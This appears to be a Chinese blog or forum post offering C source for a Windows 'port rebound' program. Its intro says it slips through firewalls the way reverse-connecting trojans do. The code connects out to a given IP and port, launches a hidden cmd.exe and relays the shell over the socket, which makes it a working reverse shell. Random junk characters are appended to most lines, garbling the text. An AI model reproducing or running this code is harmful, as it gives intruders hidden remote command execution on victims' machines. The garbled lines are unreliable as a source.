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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 eb ` !  
x$SxGc~4gb  
/* ============================== <<SUIY@X  
Rebound port in Windows NT vC [uEx:  
By wind,2006/7  S6d&w6  
===============================*/ qOqU CRUe:  
#include Xn%ty@8  
#include H{d;, KfX  
#9/^)^k  
#pragma comment(lib,"wsock32.lib") 7]8nW!h;  
JmP[9"  
void OutputShell(); 7u=R5  
SOCKET sClient;  fOUW{s  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #/,WgsAC  
TXWYQ~]3w  
void main(int argc,char **argv) X]1Q# $b  
{ }Sx+:N*  
WSADATA stWsaData; i"_@iN0N  
int nRet; 5R%4fzr&g  
SOCKADDR_IN stSaiClient,stSaiServer; A &tMj?  
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if(argc != 3) n OQvBc  
{ AY(z9 &;6  
printf("Useage:\n\rRebound DestIP DestPort\n"); \*+-Bm:$j  
return; o,q47W=7$  
} a5dc#f Kf  
o0)k5P~<~  
WSAStartup(MAKEWORD(2,2),&stWsaData); Lu.C+zgQ  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J$>9UC k7B  
k|r|*|8  
stSaiClient.sin_family = AF_INET; %7wNS  
stSaiClient.sin_port = htons(0); 9j8<Fs0M  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); q}+Fm?B   
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) nYb{?{_ca8  
{ dR GgiQO  
printf("Bind Socket Failed!\n"); v1`*}.#  
return; + t JEG:  
} JFOXrRR=d  
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stSaiServer.sin_family = AF_INET; <tn6=IV  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n7p,{KSQ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); xgQ&'&7l  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /l b"g_  
{ h?-*SLT  
printf("Connect Error!"); P 5_ l&  
return; 84f~.45  
} 0_f6Qrcj  
OutputShell();  N3m~nEj  
} it)!-[:bm  
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void OutputShell() v*lj>)L  
{ Z1Pdnc7S[  
char szBuff[1024]; mzbMX <  
SECURITY_ATTRIBUTES stSecurityAttributes; K9=f`JI9  
OSVERSIONINFO stOsversionInfo; INF}~DN]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; zqlgJn  
STARTUPINFO stStartupInfo; zf.&E3Sn  
char *szShell; &<Iz?AVr  
PROCESS_INFORMATION stProcessInformation; *Z}9S9YtN  
unsigned long lBytesRead; gNaB^IY  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); LSlYYyt  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +\s&v!  
stSecurityAttributes.lpSecurityDescriptor = 0; cKe{ ]a  
stSecurityAttributes.bInheritHandle = TRUE; d+L!s7  
QT)5-Jy  
EHlkt,h*  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); W&s@2y?rF  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); wqE+hKs,  
qgkC)  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;hZ^zL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x*a^msY%  
stStartupInfo.wShowWindow = SW_HIDE; )2&y;{]  
stStartupInfo.hStdInput = hReadPipe; 6483v'  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @3Nvf}He  
)Rj,PF-9Z[  
GetVersionEx(&stOsversionInfo); +2 x|j>  
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switch(stOsversionInfo.dwPlatformId) 5~H}%W,P  
{ ;-"'sEu}  
case 1: E%e2$KfD  
szShell = "command.com"; =LyR CrA  
break; aQ#6PO7.Z  
default: {Q/_I@m].  
szShell = "cmd.exe"; ( SiwO.TZ  
break; 4<<T#oW.:G  
} ;vp[J&=  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |S.;']t+  
jA,| .P>  
send(sClient,szMsg,77,0);  ?@iGECll  
while(1) lr~c w#h*  
{ ?Vo/mtbY5X  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); W_FN*Er  
if(lBytesRead) !K8V":1du#  
{ )ad6>Y  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +et)!2N  
send(sClient,szBuff,lBytesRead,0); f~Ve7   
} ?3; 0 SAh  
else >,A&(\rO  
{ e;r?g67  
lBytesRead=recv(sClient,szBuff,1024,0); D&/~lhyNZ  
if(lBytesRead<=0) break; sV$Zf `X)  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); lCxPR'C|  
} 4VI'd|Ed  
} a<Ksas'5S  
<:!;79T\  
return; OD yKS;   
}
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